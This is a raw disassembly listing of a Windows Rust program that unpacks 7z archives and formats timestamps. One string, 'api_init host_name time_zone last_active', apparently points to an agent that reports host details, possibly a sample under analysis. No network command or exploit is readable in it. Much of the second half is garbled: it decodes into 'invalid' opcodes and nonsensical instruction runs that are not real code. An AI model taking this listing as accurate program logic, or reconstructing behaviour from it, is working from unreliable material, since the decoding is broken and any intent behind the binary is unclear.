mov qword [rbp + 0x2b8], rax
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov rax, qword [rax]
imul rcx, rsi, 0x68
mov rdx, qword [rbp + 0x248]
mov qword [rdx + rcx + 0x50], rax
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
mov rcx, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x188]
mov rsi, qword [rbp + 0x298]
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
mov rcx, qword [rbp + 0x228]
inc rcx
mov rax, qword [rax + 0x78]
cmp rcx, rax
sbb rsi, 0xffffffffffffffff
mov qword [rbp + 0x298], rsi
cmp rcx, rax
mov eax, 0
cmovae rcx, rax
mov qword [rbp + 0x228], rcx
mov rbx, r12
jmp 0x140142e8b
mov r13b, 6
xor edi, edi
push 0x38
pop r15
jmp 0x140142839
mov rdi, qword [rbp + 0x2e0]
sub rdi, 0xffffffffffffff80
mov rcx, rdi
call fcn.140147f6c
push 0xc
pop rcx
lea r15, [rbp + 0x2f0]
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x2a8]
call fcn.14014464a
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x2a0]
call fcn.14014464a
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x2e8]
call fcn.14014464a
mov byte [r15], 0
lea rdx, [rbp + 0x2f0]
push 1
pop r8
mov rcx, qword [rbp + 0x3b0]
call fcn.140137477
test rax, rax
jne 0x1401404f4
mov al, byte [rbp + 0x2f0]
test al, al
je 0x1401432cd
mov byte [r14], 0xb
mov byte [r14 + 1], al
jmp 0x1401432d1
mov byte [r14], 0x12
movaps xmm6, xmmword [rbp + 0x3d0]
movaps xmm7, xmmword [rbp + 0x3e0]
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r13b, 4
movabs rbx, 0x8000000000000000
push 1
pop r15
xor esi, esi
mov qword [rbp + 0x398], rax
jmp 0x140142768
xor edi, edi
push 0x3f
pop r15
lea rbx, [0x14024b5d8]
jmp 0x140142839
mov r13b, 4
xor esi, esi
push 1
add dword [rcx + 0x5f], eax
add dword [rcx + 0x5f], eax
movabs rbx, 0x8000000000000000
lea rax, str.invalid_seek_to_a_negative_or_overflowing_position
jmp 0x1401427fe
lea rax, [rbp + 0x90]
and qword [rax], 0
mov qword [rax + 8], 1
and qword [rax + 0x10], 0
lea rcx, [rbp + 0x2f0]
mov qword [rcx + 0x30], 0x20
mov byte [rcx + 0x38], 3
and qword [rcx], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x20], rax
lea rax, [0x14024c7e0]
mov qword [rcx + 0x28], rax
call fcn.140004a10
mov ecx, eax
call fcn.1401374c5
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x398], rax
mov rbx, qword [rbp + 0x98]
mov r15, qword [rbp + 0xa0]
mov r13b, 6
jmp 0x140142794
xor edi, edi
lea rbx, str.kStartPos_is_unsupported__please_report
push 0x27
jmp 0x140143235
xor edi, edi
push 0x1d
pop r15
lea rbx, [0x14024b661]
jmp 0x140142839
xor edi, edi
push 0x19
pop r15
lea rbx, str.file_names_length_invalidNot_implemented:external___0
jmp 0x140142839
lea rax, [rbp + 0x90]
lea rcx, [rbp + 0xc0]
mov qword [rax], rcx
lea rcx, [0x14002a020]
lea r8, str.kWinAttributes_Unimplemented:external
lea rdx, [rbp + 0x2f0]
mov qword [rdx], r8
push 1
pop r8
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
mov qword [rax + 8], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], r8
mov qword [rbp + 0x1e8], rdi
lea rcx, [rbp + 0x208]
call fcn.140015f59
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x398], rax
mov rbx, qword [rbp + 0x210]
mov r13b, 6
mov r15, qword [rbp + 0x218]
jmp 0x14014281f
lea rax, [rbp + 0x90]
lea rcx, [rbp + 0xc0]
mov qword [rax], rcx
lea rcx, [0x14002a020]
lea r8, str.kMTime_Unimplemented:external
lea rdx, [rbp + 0x2f0]
mov qword [rdx], r8
push 1
pop r8
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
mov qword [rax + 8], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], r8
mov qword [rbp + 0x1f0], rdi
lea rcx, [rbp + 0x60]
call fcn.140015f59
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x398], rax
mov rbx, qword [rbp + 0x68]
mov r13b, 6
mov r15, qword [rbp + 0x70]
jmp 0x1401435ae
lea rax, [rbp + 0x90]
lea rcx, [rbp + 0xc0]
mov qword [rax], rcx
lea rcx, [0x14002a020]
lea r8, str.kATime_Unimplemented:external
lea rdx, [rbp + 0x2f0]
mov qword [rdx], r8
push 1
pop r8
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
mov qword [rax + 8], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], r8
mov qword [rbp + 0x1f8], rdi
lea rcx, [rbp + 0xd8]
call fcn.140015f59
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x398], rax
mov rbx, qword [rbp + 0xe0]
mov r13b, 6
mov r15, qword [rbp + 0xe8]
jmp 0x1401435ae
lea rax, [rbp + 0x90]
lea rcx, [rbp + 0xc0]
mov qword [rax], rcx
lea rcx, [0x14002a020]
lea r8, str.kCTime_Unimplemented:external
lea rdx, [rbp + 0x2f0]
mov qword [rdx], r8
push 1
pop r8
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
mov qword [rax + 8], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], r8
mov qword [rbp + 0x200], rdi
lea rcx, [rbp - 0x58]
call fcn.140015f59
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x398], rax
mov rbx, qword [rbp - 0x50]
mov r13b, 6
mov r15, qword [rbp - 0x48]
jmp 0x140142768
lea rcx, [rbp + 0x2f0]
call fcn.140147f6c
mov dil, 1
mov r13b, 6
lea rbx, str.Too_few_folders_in_archive
push 0x1a
pop r15
jmp 0x140142839
mov r12b, 4
movabs r15, 0x8000000000000000
push 1
pop rax
mov qword [rbp + 0x3a0], rax
xor eax, eax
mov qword [rbp + 0x2a0], rax
mov rcx, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
call fcn.14006095a
jmp 0x140143628
mov r12b, 6
movabs r13, 0x8000000000000000
lea r15, [0x14024b46f]
push 0x6d
pop rax
mov qword [rbp + 0x3a0], rax
lea rcx, [rbp - 0x28]
call fcn.14013feed
lea rcx, [rbp + 0x2f0]
call fcn.14013fe47
mov rsi, qword [rbp + 0x2a0]
movzx eax, word [rbp + 0x20c]
mov ecx, dword [rbp + 0x208]
mov dword [rbp + 0xd8], ecx
mov word [rbp + 0xdc], ax
cmp r12b, 0x12
mov r14, qword [rbp + 0x388]
mov bl, byte [rbp + 0x2a8]
mov rdi, qword [rbp + 0x3a0]
jne 0x140140ba4
lea rdx, [rbp + 0x2f0]
mov byte [rdx], 0
push 1
pop r8
mov rcx, qword [rbp + 0x3b0]
mov rdi, r8
call fcn.140137477
test rax, rax
je 0x1401436b5
mov r13, rax
mov r12b, 4
movabs r15, 0x8000000000000000
xor esi, esi
jmp 0x1401407a6
mov bl, byte [rbp + 0x2f0]
mov r14, qword [rbp + 0x388]
movabs rsi, 0x8000000000000000
mov r15, qword [rbp + 0x3b0]
mov r12, qword [rbp + 0x2e0]
jmp 0x1401409ce
mov r12b, 6
movabs r13, 0x8000000000000000
lea r15, str.sum_of_unpack_sizes_of_folder_exceeds_total_unpack_size
push 0x37
pop rdi
jmp 0x140141751
mov al, byte [rbp + 0x251]
mov byte [rbp + 0x2a8], al
lea rcx, [rbp + 0x252]
mov eax, dword [rcx]
mov dword [rbp + 0x208], eax
movzx eax, word [rcx + 4]
mov word [rbp + 0x20c], ax
mov r13, qword [rbp + 0x258]
mov r15, qword [rbp + 0x260]
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x2a0], rax
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
call fcn.140132e14
jmp 0x140143631
and qword [rbp + 0x2c8], 0
mov qword [rbp + 0x2d0], 8
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
mov rcx, rsi
mov rdx, r12
call fcn.1401c6eb0
jmp 0x140143c88
lea rdx, [rbp + 0x2f0]
mov byte [rdx], 0
push 1
pop r8
mov rcx, qword [rbp + 0x3b0]
mov rdi, r8
call fcn.140137477
test rax, rax
je 0x1401438c7
mov r13, rax
mov r12b, 4
movabs r15, 0x8000000000000000
xor esi, esi
jmp 0x1401439ae
mov al, byte [rbp + 0x251]
mov byte [rbp + 0x2a8], al
lea rcx, [rbp + 0x252]
mov eax, dword [rcx]
mov dword [rbp + 0x208], eax
movzx eax, word [rcx + 4]
mov word [rbp + 0x20c], ax
mov r13, qword [rbp + 0x258]
mov r15, qword [rbp + 0x260]
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x2a0], rax
jmp 0x140143631
mov r12b, 6
lea r15, str.Couldnt_find_streams_bind_pair_index
push 0x26
pop rax
mov qword [rbp + 0x3a0], rax
mov rsi, qword [rbp + 0xb0]
jmp 0x1401438ac
mov al, byte [rbp + 0x251]
mov byte [rbp + 0x2a8], al
lea rcx, [rbp + 0x252]
mov eax, dword [rcx]
mov dword [rbp + 0x208], eax
movzx eax, word [rcx + 4]
mov word [rbp + 0x20c], ax
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x298], rax
mov r15, qword [rbp + 0x260]
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x2a0], rax
mov rcx, qword [rbp + 0xa8]
mov rdx, rsi
call fcn.140174a51
mov r13, qword [rbp + 0x298]
jmp 0x140143631
mov al, byte [rbp + 0x2f0]
mov byte [rbp + 0x250], al
cmp al, 0xc
jne 0x140143953
mov rax, qword [rbp + 0x2e0]
mov rsi, qword [rax + 0x58]
imul rbx, qword [rax + 0x60], 0x88
add rbx, rsi
lea rdi, [rbp + 0x2f0]
cmp rsi, rbx
je 0x140143a01
lea r13, [rsi + 0x88]
mov r15, qword [rsi + 0x68]
add rsi, 0x48
mov rcx, rsi
mov rdx, r15
call fcn.140144a4c
sub r15, 1
jb 0x14014394e
mov rcx, rdi
mov rdx, qword [rbp + 0x3b0]
call fcn.14014025e
mov r12b, byte [rbp + 0x2f0]
cmp r12b, 0x12
jne 0x140143b54
mov rdx, qword [rbp + 0x2f8]
mov rcx, rsi
call fcn.140144aeb
jmp 0x140143917
mov rsi, r13
jmp 0x1401438f4
lea rax, [rbp + 0x250]
mov qword [rbp], rax
lea rax, str.Expected_kCodersUnpackSize__got___
lea rdx, [rbp + 0x2f0]
mov qword [rdx], rax
push 1
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x14002a020]
mov qword [rbp + 8], rcx
mov rcx, rbp
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rsi, [rbp + 0x90]
mov rcx, rsi
call fcn.140015f59
mov r13, qword [rsi]
mov r15, qword [rsi + 8]
mov r12b, 6
mov rdi, qword [rsi + 0x10]
mov r14, qword [rbp + 0x388]
jmp 0x140140ba4
push 0x3f
pop rax
mov qword [rbp + 0x220], rax
lea rax, str.Total_input_streams_cant_be_less_than_the_number_of_bind_pairsAlternative_methods_are_unsupported__please_report._The_reference_implementation_doesnt_support_them_either.Additional_streams_unsupportedBroken_or_unsupported_archive:_no_Header
mov qword [rbp + 0x228], rax
mov r12b, 6
movabs r13, 0x8000000000000000
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x3a0], rax
mov r15, qword [rbp + 0x228]
jmp 0x140143631
mov rsi, rbx
jmp 0x140143644
lea rdx, [rbp + 0x2f0]
mov byte [rdx], 0
push 1
pop r8
mov rcx, qword [rbp + 0x3b0]
mov rdi, r8
call fcn.140137477
test rax, rax
jne 0x1401437cc
mov bl, byte [rbp + 0x2f0]
cmp bl, 0xa
jne 0x140143c3a
lea rsi, [rbp + 0x2f0]
mov rcx, rsi
mov rdx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x248]
call fcn.1401381b8
mov r12b, byte [rsi]
cmp r12b, 0x12
jne 0x140143b54
lea r14, [rbp + 0x2f0]
mov rcx, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
movups xmm0, xmmword [r14 + 0x18]
mov rdx, rbp
mov qword [rbp + 0x3b8], rcx
mov qword [rdx], rcx
mov qword [rbp + 0x3a8], rax
mov qword [rdx + 8], rax
mov r15, rdx
movups xmmword [rdx + 0x10], xmm0
mov rax, qword [rbp + 0x2e0]
mov rsi, qword [rax + 0x58]
mov rdi, qword [rax + 0x60]
xor r12d, r12d
cmp r12, qword [rbp + 0x248]
jae 0x140143bd7
mov rcx, r15
mov rdx, r12
call fcn.1401385c7
lea rbx, [r12 + 1]
test al, al
je 0x140143b30
mov rcx, rsi
mov rdx, rdi
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
mov byte [rax + 0x80], 1
and dword [rbp + 0x2f0], 0
mov rcx, qword [rbp + 0x3b0]
mov rdx, r14
push 4
pop r8
call fcn.140137477
mov r13, rax
test rax, rax
jne 0x140143bf9
mov r13d, dword [rbp + 0x2f0]
mov rcx, rsi
mov rdx, rdi
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
mov qword [rax + 0x70], r13
mov r12, rbx
jmp 0x140143aa5
mov rcx, rsi
mov rdx, rdi
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
mov byte [rax + 0x80], 0
mov r12, rbx
jmp 0x140143aa5
mov bl, byte [rbp + 0x2f1]
mov eax, dword [rbp + 0x2f2]
mov dword [rbp + 0xd8], eax
movzx eax, word [rbp + 0x2f6]
mov word [rbp + 0xdc], ax
mov r13, qword [rbp + 0x2f8]
mov r15, qword [rbp + 0x300]
mov rdi, qword [rbp + 0x308]
mov rsi, qword [rbp + 0x310]
jmp 0x1401439ae
push 8
pop rcx
push 0x28
pop rdx
call fcn.1401c6700
jmp 0x140143c88
xor r15d, r15d
mov byte [rbp + 0x387], 0
mov rcx, r15
mov rdx, rsi
call fcn.1401c66e0
jmp 0x140143c88
mov rdx, qword [rbp + 0x300]
mov byte [rbp + 0x3c7], 0
call fcn.1401c66e0
jmp 0x140143c88
lea rdx, [rbp + 0x2f0]
mov byte [rdx], 0
push 1
pop r8
mov rcx, qword [rbp + 0x3b0]
call fcn.140137477
mov r13, rax
test rax, rax
je 0x140143c21
mov rcx, qword [rbp + 0x3b8]
mov rdx, qword [rbp + 0x3a8]
call fcn.14008fcb1
mov r12b, 4
movabs r15, 0x8000000000000000
push 1
pop rdi
jmp 0x1401437dc
mov bl, byte [rbp + 0x2f0]
mov rcx, qword [rbp + 0x3b8]
mov rdx, qword [rbp + 0x3a8]
call fcn.14008fcb1
test bl, bl
je 0x14014367c
mov r12b, 8
jmp 0x1401439ae
xor ecx, ecx
jmp 0x140143c51
push 8
pop rcx
and qword [rbp + 0x2c8], 0
mov qword [rbp + 0x2d0], 8
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x2b8], rax
mov rdx, rsi
call fcn.1401c66e0
ud2
cmp eax, 0xffffffff
jne 0x140148684
mov ecx, ebx
call fcn.140023937
in eax, dx
inc dword [rbp + 0x16e7bbc0]
mov ebx, 0x800016e7
jmp 0x140148681
cmovne ebx, eax
lea rax, [rbp - 0x18]
and qword [rax], 0
mov qword [rax + 8], 1
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
adc byte [rax], al
lea rdx, [rbp - 0x58]
mov qword [rdx + 0x30], 0x20
mov byte [rdx + 0x38], 3
and qword [rdx], 0
and qword [rdx + 0x10], 0
invalid
adc byte [rax], al
mov qword [rdx + 0x20], rax
lea rax, [0x14024c7e0]
mov qword [rdx + 0x28], rax
mov rcx, r14
call fcn.14002368b
mov ecx, eax
call fcn.1401374c5
and r12d, 0x15180
add r12d, edi
mov rax, qword [rbp - 8]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rsi], xmm0
mov dword [rsi + 0x4c], ebx
mov qword [rsi + 0x40], 1
add byte [rax], al
mov dword [rsi + 0x44], r12d
mov dword [rsi + 0x48], r13d
mov dword [rsi + 0x18], r15d
lea rax, str._Y__m__d__H:_M:_S_api_init_host_nametime_zonelast_active
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], 0x11
adc dword [rax], eax
add byte [rax], al
mov qword [rsi + 0x30], 8
and qword [rsi + 0x38], 0
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp esi, 1
setne al
sete byte [rbp + 0xa8]
mov dword [rbp + 0x1dc], r12d
test r12d, r12d
sete dil
setne r9b
or dil, al
mov r8d, r12d
loopne 0x140148946
sar eax, 0xd
loopne 0x140148946
sar eax, 0xd
mov eax, r8d
cdq
mov qword [rbp + 0x10], rsi
jne 0x140148920
movsxd rsi, dword [rsi + 0x18]
mov qword [rbp + 0xd0], rsi
push 0x64
pop rsi
idiv esi
mov dword [rbp + 0xc4], eax
mov r13d, edx
mov esi, 0xe10
mov eax, r15d
mov qword [rbp + 0xa0], r15
mov dword [rbp + 0xa0], edi
mov ebp, 0xa0
xor edx, edx
div esi
mov r12d, eax
invalid
xor esi, esi
mov eax, 0x3b9aca00
add dl, cl
retf 0x3b9a
cmp r10d, eax
lea r14d, [r10 - 0x3b9aca00]
invalid
invalid
cmovb r14d, r10d
setae sil
push 0x3c
pop r10
mov eax, r15d
mov eax, edi
xor edx, edx
div r10d
add esi, edx
mov dword [rbp + 0x74], esi
add r11d, edx
add ebx, edx
mov dword [rbp + 0xb8], r11d
mov eax, 0x44000000
add byte [rax], al
and r9b, byte [rbp + 0xa8]
lea ebp, [rax + 0x44000000]
test al, 0
add byte [rax], al
mov byte [rbp + 0x10f], r9b
sgdt [rax]
add byte [rcx], dh
rol byte [rcx - 9], cl
mov dword [rbp + 0xcc], edx
xchg ebp, eax
int3
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], al
xor edx, edx
mov r9d, 0xf4240
mov ecx, 0xf4240
sldt word [rcx - 9]
int1
mov dword [rbp + 0x78], edx
mov dword [rbp + 0x88], eax
mov dword [rbp + 0xbc], r14d
mov ch, 0xbc
mov esp, 0x44000000
mov eax, r14d
xor edx, edx
xchg ebp, eax
int3
mov r9d, 0x3e8
div r9d
div ecx
mov dword [rbp + 0x90], eax
nop
add byte [rax], al
add byte [rcx + 0x8095], cl
xchg ebp, eax
add byte [rax], 0
add byte [rdx + 1], ch
pop rax
sub eax, r8d
mov r10d, 0x190
mov edx, 0x190
add byte [rcx], dh
rol byte [rcx - 9], cl
div r10d
inc eax
invalid
imul r11d, eax, 0x190
imul r10d, eax, 0xfffdc54f
mov eax, dword [rbp + 0x1dc]
fadd qword [rcx]
add byte [rax], al
add byte [rcx - 0x77], al
mov r9d, eax
shr r9d, 4
add al, 0x41
and ecx, 0x1ff
movabs rax, 0xfffffff1886cb780
mov cl, dh
invalid
invalid
dec dword [rcx - 0x77]
invalid
sub r14, qword [rbp + 0xd0]
rol byte [rax], 1
add byte [rax], al
movabs rdx, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x676ac6b8], al
add byte [rax], al
add byte [rdi + rcx + 0x44], cl
invalid
push 0xc
or al, 0x5e
mov dword [rbp + 0xc8], r12d
movsd dword [rdi], dword [rsi]
enter 0, 0
add byte [rax], al
movsd dword [rdi], dword [rsi]
enter 0, 0
add byte [rax], al
mov eax, r12d
mov r15, qword [rbp + 8]
or byte [rcx], dh
sal bh, cl
test byte [rbp - 0x29bbf02e], 0x89
test edx, edx
cmove edx, esi
mov dword [rbp + 0x68], edx
test r13d, r13d
lea eax, [r13 + 0x64]
lea eax, [rbp + 0x64]
movzx eax, al
cmovns eax, r13d
mov dword [rbp + 0x6c], eax
insb byte [rdi], dx
mov qword [rbp + 0x38], r13
mov dword [rbp + 0x38], ebp
insd dword [rdi], dx
cmp byte [rcx + rcx*4 - 0x18], al
sar eax, 0x1f
add eax, dword [rbp + 0xc4]
test esp, eax
add byte [rax], al
add byte [rcx - 0x74b38fbb], cl
mov r13, qword [rbp]
add byte [rcx - 0x7f], al
clc
adc byte [rdi], ah
add byte [rax], al
setae al
xchg ebx, eax
rol byte [rax - 0x78], 0xbd
mov byte [rbp + 0x10d], dil
or al, dil
mov byte [rbp + 0x10e], al
invalid
add dword [rax], eax
add byte [rbp - 0x7b], al
sar byte [rax], 0x44
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx + 0x4f], al
cmovg r10d, eax
cmovg edx, eax
mov qword [rbp + 0xa8], rcx
test al, 0
add byte [rax], al
add byte [rdi + rcx + 0x4f], al
fmul dword [r9 + r9*4 + 0x45]
xor byte [rbx - 0x73], al
lea ecx, [rax + rbx - 1]
sbb dil, r15b
mov eax, ecx
cdq
push 0x64
pop r8
idiv r8d
imul ecx, ecx, 0x5b5
add cl, al
stc
add cl, byte [rcx + rcx*4 + 0x4d]
mov qword [rbp + 0x18], r9
add r10d, r9d
add edx, ecx
invalid
sub r10d, eax
add r10d, ecx
sar eax, 2
clc
add al, byte [rcx + 1]
add edx, eax
add r14, qword [rbp + 0xa0]
movsxd rax, r10d
imul rax, rax, 0x15180
add byte [rcx + 1], cl
add esi, eax
mov qword [rbp + 0xa0], r14
add byte [rax], al
add byte [rdi], cl
movzx eax, word [rbp + 0xdc]
fadd qword [rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movzx eax, word [rbp + 0xdc]
fadd qword [rax]
add byte [rax], al
mov dword [rbp + 0xdc], eax
test rbx, rbx
je 0x140148b49
lea rcx, [rbp + 0xf0]
mov rdx, r15
lock add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
call case.0x14001d4c1.24
mov al, byte [rbp + 0xf0]
lock add byte [rax], al
add byte [rdi + rax], bh
je case.default.0x140148b47
add byte [rax], al
add r15, 0x18
dec rbx
retf
mov r14b, byte [rbp + 0xf1]
mov dh, byte [rbp + 0xf1]
mov ch, 0xf1
add byte [rax], al
add byte [rax - 0x76], al
mov sil, byte [rbp + 0xf2]
add byte [rax], al
add byte [rcx], dh
xor edi, edi
mov rdx, qword [rbp + 0xf8]
add byte [rbx + rcx*4 - 0x7b], cl
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
xor edi, edi
invalid
invalid
xchg ebp, eax
clc
add byte [rax], al
add byte [rbx + rcx*4 - 0x7b], cl
add byte [rcx], al
add byte [rax], al
movzx eax, al
lea rcx, [0x14028c614]
lea ecx, [0x14028c614]
invalid
cmp dl, byte [rax + rax]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
invalid
add rax, rcx
invalid
jmp rax
or dword [rax + 1], 0x48e0ffc8
enter 0xffffffffffffe0ff, 0x48
mov rdi, qword [rbp + 0x1a0]
mov edi, dword [rbp + 0x1a0]
lea rsi, [rdi + r13]
lea esi, [rdi + rbp]
xor al, 0x2f
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], rsi
mov dword [rbp + 0x58], esi
lea rcx, [rbp + 0x50]
lea ecx, [rbp + 0x50]
lea ecx, [rbp + 0x50]
push r8
call fcn.140137f6d
cmp eax, 0x25
invalid
je case.0x1400bcc99.321
invalid
invalid
and eax, 0x3d6974
add byte [rcx], dl
adc dword [rax], eax
add byte [rdi], cl
test byte [rbp + 0x23], cl
imul edi, dword [0x140258b73], 0x234d840f
cmp eax, 0x110000
je case.default.0x140148b47
add byte [rax], al
mov ecx, eax
call fcn.1400231a9
test al, al
ror byte [rdi], 0x84
test byte [rdx], bl
add dword [rax], eax
invalid
shr eax, 0x2d
cmpsb byte [rsi], byte [rdi]
in eax, dx
inc dword [rax + rax*8 + 0x11a840f]
ror byte [rdi], 0x84
test byte [rdx], bl
invalid
test byte [rdx], bl
add dword [rax], eax
add byte [rcx + rcx*4 - 0x53], cl
mov dword [rbp + 0x140], ebp
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x140], r13
mov dword [rbp + 0x140], ebp
mov qword [rbp + 0x148], rdi
mov ebp, 0x148
mov qword [rbp + 0x150], r13
add byte [rax], al
mov qword [rbp + 0x158], rsi
mov dword [rbp + 0x158], esi
and qword [rbp + 0x160], 0
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rbp + 0x150]
lea rcx, [rbp + 0x150]
lea ecx, [rbp + 0x150]
call fcn.1401b829d
test byte [rsi], 0
add byte [rcx + 0x110000fa], al
add byte [rdi], cl
cmp edx, 0x110000
je case.0x1400c4f9a.315
test byte [rdi], dh
add dword [rax], eax
invalid
test byte [rdi], dh
add dword [rax], eax
add byte [rax - 0x77], cl
mov rsi, rax
add byte [rax], al
mov rsi, rax
mov esi, eax
mov ecx, edx
call fcn.1400231a9
invalid
inc dword [rax + rax*8 + 0x27e9da75]
add dword [rax], eax
add byte [rax], al
mov rcx, r13
test al, al
jne 0x140148ba8
jmp 0x140148cfa
mov rcx, r13
mov rdx, rdi
push 1
pop r8
pop rax
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
lea ecx, [0x1401d11b8]
or eax, 0x885d4
call fcn.140023179
mov qword [rbp + 0x1a0], rdx
mov dword [rbp + 0x1a0], edx
xchg ebp, eax
invalid
add dword [rax], eax
invalid
xchg ebp, eax
movabs al, byte [0x8b48c58949000001]
add dword [rax], eax
add byte [rcx - 0x77], cl
mov ebp, eax
invalid
invalid
invalid
mov ch, 0xa0
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
add byte [rax], al
mov r13, rax
mov rsi, qword [rbp + 0x1a0]
mov ch, 0xa0
add dword [rax], eax
add byte [rax + 1], cl
invalid
invalid
add dword [rax], eax
add byte [rax + 1], cl
invalid
mov qword [rbp + 0x140], r13
mov dword [rbp + 0x140], ebp
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax + 1], ecx
add byte [rax], al
invalid
mov qword [rbp + 0x148], rax
mov dword [rbp + 0x148], eax
lea rcx, [rbp + 0x140]
call fcn.140137f6d
push rsi
invalid
invalid
invalid
cmp eax, 0x110000
add byte [rcx], dl
invalid
add dword [rax], eax
add al, ch
push rsi
invalid
add byte [rcx], dl
add byte [rdi], cl
adc dword [rax], eax
je case.0x1400c4f7b.264
test byte [rax + 2], bl
add byte [rax], al
invalid
add byte [rcx - 0x77], al
invalid
mov r14d, eax
push 1
add dword [rcx + 0x58], eax
add dword [rcx + 0x58], eax
cmp eax, 0x80
jb 0x140148c4c
invalid
add byte [rdx + 0x1c], dh
push 2
pop r8
cmp r14d, 0x800
add byte [rax], al
add byte [rax], al
add byte [rdx + 0xf], dh
jb 0x140148c4c
cmp r14d, 0x10000
add dword [rax], eax
push 4
pop r8
sbb r8, 0
sbb eax, 0
sbb eax, 0
mov rcx, r13
mov rdx, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
ja 0x140148bdc
or byte [rax], al
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
ja 0x140148bdc
or byte [rax], al
call fcn.140023179
mov qword [rbp + 0x1a0], rdx
movabs al, byte [0xb640c58949000001]
add byte [rax], al
mov r13, rax
mov sil, 3
add eax, dword [rcx - 0x7d]
invalid
and ecx, dword [rdi]
test al, bl
fadd dword [rcx]
add byte [rax], al
add eax, dword [rcx - 0x7d]
invalid
fadd dword [rcx]
add byte [rax], al
cmp r14d, 0x2d
cmp esi, 0x2d
je case.0x14007f1f8.446
add byte [rax], al
cmp r14d, 0x30
je case.0x1400c5cc0.285
invalid
invalid
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x7d], al
cmp r14d, 0x5f
jne 0x140148f36
invalid
invalid
add al, byte [rax]
add byte [rax], al
invalid
invalid
test dword [rbx + 0x40000002], esp
mov bh, 1
invalid
add byte [rax - 0x49], al
mov dil, 1
add dword [rax - 0x4a], eax
add ch, cl
jmp 0x140148e4f
mov sil, 2
jmp 0x140148e4f
mov qword [rbp + 0x140], r13
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
invalid
